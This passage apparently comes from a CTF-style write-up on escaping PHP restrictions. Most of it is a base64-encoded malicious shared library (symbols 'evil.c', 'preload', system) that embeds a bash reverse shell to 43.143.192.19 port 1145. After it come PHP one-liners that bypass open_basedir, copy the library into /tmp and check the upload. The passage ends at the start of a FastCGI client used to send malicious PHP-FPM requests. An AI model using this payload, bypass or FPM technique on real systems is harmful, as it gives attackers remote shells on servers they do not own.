AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzQzLjE0My4xOTIuMTkvMTE0NSAwPiYxJwAAAAEbAzskAAAAAwAAAOjv//9AAAAACPD//2gAAADR8P//gAAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAKDv//8gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAACY7///CAAAAAAAAAAAAAAAHAAAAFwAAABJ8P//FgAAAABBDhCGAkMNBlEMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAMAQAAAAAAAAAQAAAAAAAABkAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAACARAAAAAAAAGQAAAAAAAADwPQAAAAAAABsAAAAAAAAAEAAAAAAAAAAaAAAAAAAAAAA+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAAYAIAAAAAAAAFAAAAAAAAADADAAAAAAAABgAAAAAAAACIAgAAAAAAAAoAAAAAAAAAegAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoPwAAAAAAAAIAAAAAAAAAGAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAACYBAAAAAAAAAcAAAAAAAAA2AMAAAAAAAAIAAAAAAAAAMAAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAuAMAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAACqAwAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAAAIQAAAAAAAAEdDQzogKERlYmlhbiAxMS4zLjAtNSkgMTEuMy4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADABQEAAAAAAAAAAAAAAAAAAADgAAAAIADACAEAAAAAAAAAAAAAAAAAAAIQAAAAIADADAEAAAAAAAAAAAAAAAAAAANwAAAAEAFwAQQAAAAAAAAAEAAAAAAAAAQwAAAAEAEgAAPgAAAAAAAAAAAAAAAAAAagAAAAIADAAAEQAAAAAAAAAAAAAAAAAAdgAAAAEAEQDwPQAAAAAAAAAAAAAAAAAAlQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAnAAAAAEAEADYIAAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAqgAAAAIADQAgEQAAAAAAAAAAAAAAAAAAsAAAAAEAFgAIQAAAAAAAAAAAAAAAAAAAvQAAAAEAEwAIPgAAAAAAAAAAAAAAAAAAxgAAAAAADwA4IAAAAAAAAAAAAAAAAAAA2QAAAAEAFgAQQAAAAAAAAAAAAAAAAAAA5QAAAAEAFQDoPwAAAAAAAAAAAAAAAAAA+wAAAAIACQAAEAAAAAAAAAAAAAAAAAAAAQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAHQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAPwEAABIADAAJEQAAAAAAABYAAAAAAAAARwEAACAAAAAAAAAAAAAAAAAAAAAAAAAAYQEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC4wAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBldmlsLmMAX19GUkFNRV9FTkRfXwBfZmluaQBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfaW5pdABfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAc3lzdGVtQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWQAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAAA4AgAAAAAAADgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAYAIAAAAAAABgAgAAAAAAACQAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAIgCAAAAAAAAiAIAAAAAAACoAAAAAAAAAAQAAAABAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAAAwAwAAAAAAADADAAAAAAAAegAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAqgMAAAAAAACqAwAAAAAAAA4AAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALgDAAAAAAAAuAMAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADYAwAAAAAAANgDAAAAAAAAwAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAmAQAAAAAAACYBAAAAAAAABgAAAAAAAAAAwAAABUAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAQBAAAAAAAABAEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAFAQAAAAAAAAUBAAAAAAAADPAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAAAgEQAAAAAAACARAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAACAAAAAAAAAAIAAAAAAAADYAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAABgIAAAAAAAAGAgAAAAAAAAfAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAA8D0AAAAAAADwLQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAA+AAAAAAAAAC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAAGAAAAAwAAAAAAAAAIPgAAAAAAAAguAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACCAAAAAQAAAAMAAAAAAAAAyD8AAAAAAADILwAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1AAAAAEAAAADAAAAAAAAAOg/AAAAAAAA6C8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN0AAAABAAAAAwAAAAAAAAAIQAAAAAAAAAgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADjAAAACAAAAAMAAAAAAAAAEEAAAAAAAAAQMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAEDAAAAAAAAAeAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAADAwAAAAAAAAcAIAAAAAAAAaAAAAFAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACgMgAAAAAAAHwBAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAHDQAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='));

测,打不出来,还得是 copy

1
mkdir('wcsndm');chdir('wcsndm');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('ip/file','/tmp/ext.so');}
1
mkdir('wcsndm');chdir('wcsndm');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a = new FilesystemIterator("glob:///tmp/*");foreach($a as $f){echo($f->__toString().'<br>');}

检测是否上传成功

生成 fpm 恶意数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
